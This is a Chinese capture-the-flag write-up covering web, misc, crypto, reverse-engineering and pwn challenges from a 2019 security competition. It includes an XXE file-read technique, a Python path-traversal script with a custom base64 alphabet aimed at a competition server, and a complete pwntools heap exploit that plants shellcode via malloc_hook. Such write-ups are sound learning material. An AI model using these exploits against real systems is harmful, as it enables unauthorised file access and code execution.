zoukankan      html  css  js  c++  java
  • 2019网络与信息安全专项赛题解

    跟SUS_2019的大哥们一起打的比赛,记录一下

    web

    web1

           web签到,像这种前端游戏,一般逻辑都在js里面所以直接看cqg.js,无脑赋值socre=15,出来flag

    web2

         burp启动,数据xml格式,猜测xxe,直接system读文件,可以读到,那么接下来读取源码试试,刚开始读index.php没读到,得用php://filter伪协议去读,路径/var/www/html/index.php

    web3

    本来以为是加密,试了半天不是,看起来文件任意读取的地方参数像个base64的字符串,然而并不是正常的base64,除了=等号不变,其它部分像是转换了,所以就是一个简单的base64移位转换,所以直接上burp,intruder几个不同名字的jpg,然后找到其转换规则,直接读取hint中提示的文件

    ```python
    
    #coding:utf-8
    
    import requests as req
    
    import base64 as b64
    
    import urllib
    
    #D4hpAXj= =>7.jpg=<Ny5qcGc=
    
    #64个字符A-Z,a-z,0-9,+,/
    
    trans_box = {'+': 'u', '/': 'A', '1': '0','7': 'I', '9': 'k',  'K': '6', 'M': 'Z', 'O': '2', 'Q': '+','A': 'b', '3': 'C', '0': 'Y', '2': 'P', '4': 'y', '6': 'e', '8': 'v', 'B': 'z', 'D': 'N', 'F': 't', 'H': 'x', 'J': 'U', 'L': 'X', 'N': 'F', 'P': 'V', 'R': 'q', 'T': 'a', 'V': 'l', 'X': 'm', 'Z': 'S', 's': 'p', 'u': 's', 'w': 'O', 'y': 'D', 'E': '\', 'b': '4', 'd': 'B', 'f': 'h', 'h': '5', 'j': 'c', 'l': 'M', 'n': '9', 'p': 'w', 'r': '1', 't': '8', 'v': 'o', 'x': 'i', 'z': 'K','=':'=',
    
         '5': 'T',  'C': 'J', 'G': '7', 'I': 'f', 'S': 'd', 'U': '3', 'W': 'R', 'Y': 'W', 'a': 'L', 'c': 'r', 'e': 'g', 'g': 'n', 'i': 'E', 'k': 'j', 'm': 'G', 'o': 'H', 'q': 'Q'}
    
    print len(trans_box.keys())
    
    def get_key (dict, value):
    
        return [k for k, v in dict.items() if v == value]
    
     
    
    def zhuanhuan(b):
    
        payload=""
    
        for i in range(len(b)):
    
            payload = payload + get_key(trans_box,b[i])[0]
    
        return payload
    
     
    
    def exp(a):
    
        b = b64.b64encode(a)
    
        print  b
    
        c = zhuanhuan(b)
    
        payload = urllib.quote(c)
    
        print payload
    
        res = req.get('http://743d9d231a084055b92ea11b480e47c545be52d430074b21.changame.ichunqiu.com/img.php?name={}'.format(payload))
    
        print res.url
    
        print res.content
    
     
    
     
    
    if __name__ == '__main__':
    
        exp('../../../../../../var/www/html/templates/upload.html')
    
        #exp('../../../../../../proc/self/cwd/templates/upload.html')
    
        #exp('../../../../../../root/flag.txt')
    
    ```

    Misc

    misc1

           签到,直接看到TXT,直接反查域名的TXT记录即可得到flag,

    http://dbcha.com/?t=1565832996

    misc2

           win上下载后直接拖到最后发现密码,然后打开压缩包得到一张图片,继续打开它

     

    发现有一段奇怪的文字,百度了一下

     

    0ox!加密,找了个在线揭秘网站进行解密即可得到flag

    https://www.splitbrain.org/services/ook

    misc3

    是张图片,binwalk分离,得到一个加密的压缩包,尝试爆破无果,

    回来看第一张图片,学弟见过这种编码,核心价值观编码。。。。,直接在线解码得到压缩包密码http://ctf.ssleye.com/cvencode.html

    得到压缩包密码为CodeValues,然后出来一张图片

    藏了一个二维码,百度了一下这种datamatric二维码也可以直接解码,先用steglove转为黑白图,然后截图二维码这一部分,然后用win画图工具擦掉旁边多余的部分就可以解码了

    misc4

    下载压缩包,解压得到一个 七代目.gif。无法正常打开,用010editor看一眼,是png的文件头。

    那就直接根据文件后缀修改,把89504E47改成gif的47494638,gif即被修复。然后找个在线网站,分解一下这个gif https://tu.sioe.cn/gj/fenjie/

    这么多图,一个个分析肯定累死人。题目名字七代目,那就直接把第七张图掏出来看。Binwalk什么的走一遍感觉已经没有藏得私货了,用stegsolve打开看一下LSB。结果刚打开调一下就出flag了

    Crypto

    crypto1

    题目说sm4加密,直接百度

    github下载安装gmssl,直接解密即可

    crypto2

    题目中给了RSA算法中的e,n,dp,c,其中。想到之前看过的一叶飘零的blog(https://zhuanlan.zhihu.com/p/43033684)关于dp和dq的解法,改一下数据就可以得到最终结果,payload如下:

    然后得到16进制字符串在线解码就得到flag

    Re

    Re1

    控制流平坦化,拿工具跑一下,前几个check验证了flag的格式,最后一个check将输入进行变化和特定的字符串比较。
    ABCDEFGHIJ的话就加上48,如果是-就不变化,其他的减去17
    s3 = [ 'J', '2', '2', '6', '1', 'C', '6', '3', '-', '3', 'I', '2', 'I', '-', 'E', 'G', 'E', '4', '-', 'I', 'B', 'C', 'C', '-', 'I', 'E', '4', '1', 'A', '5', 'I', '5', 'F', '4', 'H', 'B']
    s3 = "".join(s3)
    f = ""
    for i in range(len(s3)):
        m = s3[i]
        q1 = chr(ord(m) - 17)
        q2 = chr(ord(m) + 48)
     
        if m == "-":
    
            f += "-"
    
        elif m in "ABCDEFGHIJ":
    
            f += q1
    
        else:
    
            f += q2
    
        print f

    RE2

    稍微看一下就能知道

    前面的计算是算平方数

    后面的计算是算10000内素数的个数

    Pwn

    Pwn1

    在Edit的时候能够,让size多出一字节,然后就可以Unlink了,保护全关,静态链接,可以写shellcode到malloc_hook

    from pwn import *
    
    from time import sleep
    
    import base64
    
     
    
    context.log_level = 'debug'
    
    context.arch = 'i386'
    
    p = process("./pwn")
    
     
    
    f = ""
    
     
    
    n = "
    "
    
    def Add(size, con):
    
           global f
    
           p.sendline("1")
    
           p.sendline(str(size))
    
           p.sendline(con)
    
     
    
           f += "1" + n + str(size) + n + con + n
    
     
    
     
    
    def Del(idx):
    
           global f
    
           p.sendline("2")
    
           p.sendline(str(idx))
    
     
    
           f += "2" + n + str(idx) + n
    
     
    
    def Edit(idx, con):
    
           global f
    
           p.sendline("3")
    
           p.sendline(str(idx))
    
           p.sendline(con)
    
     
    
           f += "3" + n + str(idx) + n + con + n
    
          
    
     
    
    f = ""
    
     
    
    note_size = 0x80eba00
    
    note_ptr  = 0x80eba40
    
    sc =  asm(shellcraft.i386.linux.sh())
    
    malloc_hook = 0x80ea4d8
    
     
    
    Add(0x64, "0" * 0x64)
    
    Add(0x64, "0" * 0x64)
    
    Add(0x64, "0" * 0x64)
    
     
    
    Add(0x64, "0" * 0x64)
    
    Add(0x68, "0" * 0x68)
    
     
    
    Add(0x64, "0" * 0x64)
    
     
    
     
    
    _id = 3
    
     
    
    Edit(_id, "0" * 0x65)
    
     
    
     
    
    ptr = note_ptr + 4 * _id
    
    fake_fd = ptr - 12
    
    fake_bk = ptr - 8
    
     
    
    fake  = p32(1) + p32(0x61)
    
    fake += p32(fake_fd) + p32(fake_bk)
    
    fake = fake.ljust(0x60, chr(0x60))
    
    fake += p32(0x60)
    
    fake += "x70x00"
    
     
    
    bss_end = 0x80ebe0b
    
     
    
    Edit(_id, fake)
    
     
    
    # raw_input()
    
     
    
    Del(_id + 1)
    
     
    
    Edit(_id, p32(malloc_hook))
    
    Edit(_id, p32(malloc_hook) + p32(bss_end))
    
    Edit(0, p32(bss_end))
    
    Edit(1, sc)
    
    Add(0x64, 'cat flag')
    
    print base64.b64encode(f)
    
    p.interactive()
  • 相关阅读:
    关于”数据库连接串中的 |DataDirectory|”
    【入门经典】Master和Content页面之一
    使用数据绑定控件
    ASP.NET数据绑定概述
    【入门经典】多层次的母版页(嵌套)
    【入门经典】在母版页中使用CSS
    内联表达式
    使用【表格式】数据绑定控件
    SQL Server 2005数据库从【Express版】迁移到【正式版】连接字符串存在的问题
    【入门经典】准备工作
  • 原文地址:https://www.cnblogs.com/tr1ple/p/11366191.html
Copyright © 2011-2022 走看看